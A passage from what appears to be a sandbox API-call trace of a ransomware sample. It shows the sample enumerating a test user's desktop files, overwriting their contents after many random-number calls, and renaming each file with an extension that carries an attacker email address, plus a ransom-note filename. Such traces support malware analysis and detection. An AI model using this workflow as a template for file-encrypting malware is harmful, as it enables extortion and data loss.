lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0070.457] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x614938a0, ftCreationTime.dwHighDateTime=0x1d4d5c1, ftLastAccessTime.dwLowDateTime=0xb8b12ef0, ftLastAccessTime.dwHighDateTime=0x1d4c7d8, ftLastWriteTime.dwLowDateTime=0xb8b12ef0, ftLastWriteTime.dwHighDateTime=0x1d4c7d8, nFileSizeHigh=0x0, nFileSizeLow=0x9742, dwReserved0=0x0, dwReserved1=0x0, cFileName="w6PZ6w-21n.swf", cAlternateFileName="W6PZ6W~1.SWF")) returned 1 [0070.457] wcscmp (_String1="w6PZ6w-21n.swf", _String2=".") returned 1 [0070.457] wcscmp (_String1="w6PZ6w-21n.swf", _String2="..") returned 1 [0070.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e110 [0070.457] wcscpy (in: _Dest=0x347e110, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.457] wcscat (in: _Dest=0x347e110, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.457] wcscat (in: _Dest=0x347e110, _Source="w6PZ6w-21n.swf" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\w6PZ6w-21n.swf" [0070.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0070.458] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a1a840, ftCreationTime.dwHighDateTime=0x1d4d176, ftLastAccessTime.dwLowDateTime=0x2f73d4b0, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x2f73d4b0, ftLastWriteTime.dwHighDateTime=0x1d4c59b, nFileSizeHigh=0x0, nFileSizeLow=0xe849, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZKUdYR8dL5kjjAKB-xZg.jpg", cAlternateFileName="ZKUDYR~1.JPG")) returned 1 [0070.458] wcscmp (_String1="ZKUdYR8dL5kjjAKB-xZg.jpg", _String2=".") returned 1 [0070.458] wcscmp (_String1="ZKUdYR8dL5kjjAKB-xZg.jpg", _String2="..") returned 1 [0070.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd770 [0070.458] wcscpy (in: _Dest=0x33cd770, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz" [0070.458] wcscat (in: _Dest=0x33cd770, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0070.458] wcscat (in: _Dest=0x33cd770, _Source="ZKUdYR8dL5kjjAKB-xZg.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg" [0070.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0070.459] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x342a3a0 | out: lpFindFileData=0x342a3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a1a840, ftCreationTime.dwHighDateTime=0x1d4d176, ftLastAccessTime.dwLowDateTime=0x2f73d4b0, ftLastAccessTime.dwHighDateTime=0x1d4c59b, ftLastWriteTime.dwLowDateTime=0x2f73d4b0, ftLastWriteTime.dwHighDateTime=0x1d4c59b, nFileSizeHigh=0x0, nFileSizeLow=0xe849, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZKUdYR8dL5kjjAKB-xZg.jpg", cAlternateFileName="ZKUDYR~1.JPG")) returned 0 [0070.459] FindClose (in: hFindFile=0x34342e8 | out: hFindFile=0x34342e8) returned 1 [0070.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a3a0) returned 1 [0070.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430ff0) returned 1 [0070.459] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481848) returned 1 [0070.459] RtlExitUserThread (Status=0x0) Thread: id = 461 os_tid = 0x106c [0070.213] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp")) returned 0x20 [0070.213] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp", dwFileAttributes=0x20) returned 1 [0070.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.213] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x1343f994 | out: lpFileSize=0x1343f994*=72360) returned 1 [0070.213] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x11aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.213] ReadFile (in: hFile=0x470, lpBuffer=0x1343f968, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x1343f968*, lpNumberOfBytesRead=0x1343f964*=0x4, lpOverlapped=0x0) returned 1 [0070.213] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0070.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0070.213] NtQuerySystemTime (in: CurrentTime=0x1343f940 | out: CurrentTime=0x1343f940*=132121176281035393) returned 0x0 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x5884c1ff [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xf5e8b1ca [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xfc2ae9f4 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xfba5792c [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xf8ec8a4e [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xfd3be33e [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x85a6b4c3 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xded99073 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xb2c9e747 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xcc5c4571 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x8e3bda5b [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xc39c6bd5 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xc8e320f0 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xeca03729 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x1c8c0d83 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x5b446575 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x68147830 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xcf456cd6 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x9488d291 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xb566357f [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x40c54adc [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x989324bf [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x2c90d6b9 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xef2fb64a [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x9f643b35 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xce7d6f74 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x9e535aeb [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x2516e131 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xbd51ed02 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x4dbd91bc [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0x9dbf82a9 [0070.214] RtlRandom (in: Seed=0x1343f94c | out: Seed=0x1343f94c) returned 0xe396fee7 [0070.225] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.225] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1343f918, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1343f918*=0x4096, lpOverlapped=0x0) returned 1 [0070.225] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0070.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0070.225] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c08 [0070.226] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0070.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0070.226] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1343f918, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1343f918*=0x4096, lpOverlapped=0x0) returned 1 [0070.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.226] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x11aa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x3422c08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1343f950, lpOverlapped=0x0 | out: lpBuffer=0x3422c08*, lpNumberOfBytesWritten=0x1343f950*=0x20, lpOverlapped=0x0) returned 1 [0070.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c08) returned 1 [0070.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x3422d70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x3422d70*, lpNumberOfBytesWritten=0x1343f964*=0x8, lpOverlapped=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x1343f97c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x1343f97c*, lpNumberOfBytesWritten=0x1343f964*=0x4, lpOverlapped=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1343f964*=0x4, lpOverlapped=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1343f964*=0x6c, lpOverlapped=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x342c1f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x342c1f8*, lpNumberOfBytesWritten=0x1343f964*=0x20, lpOverlapped=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1343f964, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1343f964*=0x4, lpOverlapped=0x0) returned 1 [0070.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1f8) returned 1 [0070.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422af0) returned 1 [0070.227] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d70) returned 1 [0070.227] CloseHandle (hObject=0x470) returned 1 [0070.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2de0 [0070.926] wcscpy (in: _Dest=0x33e2de0, _Source="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp" [0070.926] wcscat (in: _Dest=0x33e2de0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" [0070.926] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\qhl6s.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.956] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2de0) returned 1 [0070.956] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QHl6s.bmp", dwFileAttributes=0x20) returned 0 [0070.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480420 [0070.956] wcscpy (in: _Dest=0x3480420, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.956] wcscat (in: _Dest=0x3480420, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.956] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480420) returned 1 [0070.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34814d8) returned 1 [0070.957] RtlExitUserThread (Status=0x1) Thread: id = 462 os_tid = 0x130c [0070.231] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav")) returned 0x20 [0070.231] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav", dwFileAttributes=0x20) returned 1 [0070.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\qihgqojlf3qtqwkbma.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.232] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x134bfe00 | out: lpFileSize=0x134bfe00*=71172) returned 1 [0070.232] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x11600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.232] ReadFile (in: hFile=0x470, lpBuffer=0x134bfdd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x134bfdd4*, lpNumberOfBytesRead=0x134bfdd0*=0x4, lpOverlapped=0x0) returned 1 [0070.232] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1f8 [0070.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d20 [0070.232] NtQuerySystemTime (in: CurrentTime=0x134bfdac | out: CurrentTime=0x134bfdac*=132121176281191656) returned 0x0 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x2603ff3c [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x387d709b [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xb5076491 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x94d4d2da [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xa5971503 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x3fc8200e [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x10b205db [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x8977a180 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xd712bdfc [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x7b7a90f5 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xa63b59f0 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x4af5e950 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x3ed6c2b8 [0070.232] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xdddce99 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x6345ad36 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xbdd52491 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x55e69fb5 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x7faf213a [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xaece8a92 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x2b5df138 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xcc69ef23 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xb70c4144 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xb686a344 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xd01409c [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xd8d588eb [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xe230c9e7 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0x48cc6ea3 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xf1527972 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xc65f9f74 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xb29bd6c4 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xe5c65783 [0070.233] RtlRandom (in: Seed=0x134bfdb8 | out: Seed=0x134bfdb8) returned 0xffa1ca0 [0070.244] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.244] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x134bfd84, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x134bfd84*=0x4096, lpOverlapped=0x0) returned 1 [0070.244] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0070.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0070.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.244] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.244] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c08 [0070.245] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0070.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0070.245] WriteFile (in: hFile=0x470, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x134bfd84, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x134bfd84*=0x4096, lpOverlapped=0x0) returned 1 [0070.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.245] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x11604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.245] WriteFile (in: hFile=0x470, lpBuffer=0x3422c08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x134bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x3422c08*, lpNumberOfBytesWritten=0x134bfdbc*=0x20, lpOverlapped=0x0) returned 1 [0070.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c08) returned 1 [0070.245] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.245] WriteFile (in: hFile=0x470, lpBuffer=0x3422d70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x3422d70*, lpNumberOfBytesWritten=0x134bfdd0*=0x8, lpOverlapped=0x0) returned 1 [0070.245] WriteFile (in: hFile=0x470, lpBuffer=0x134bfde8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x134bfde8*, lpNumberOfBytesWritten=0x134bfdd0*=0x4, lpOverlapped=0x0) returned 1 [0070.246] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x134bfdd0*=0x4, lpOverlapped=0x0) returned 1 [0070.246] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x134bfdd0*=0x6c, lpOverlapped=0x0) returned 1 [0070.246] WriteFile (in: hFile=0x470, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x134bfdd0*=0x20, lpOverlapped=0x0) returned 1 [0070.246] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x134bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x134bfdd0*=0x4, lpOverlapped=0x0) returned 1 [0070.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.246] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d70) returned 1 [0070.246] CloseHandle (hObject=0x470) returned 1 [0070.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e61e0 [0070.926] wcscpy (in: _Dest=0x33e61e0, _Source="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav") returned="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav" [0070.926] wcscat (in: _Dest=0x33e61e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\qiHgqojLF3QTQWKbma.wav.mailto[kokoklock@cock.li].d0e731") 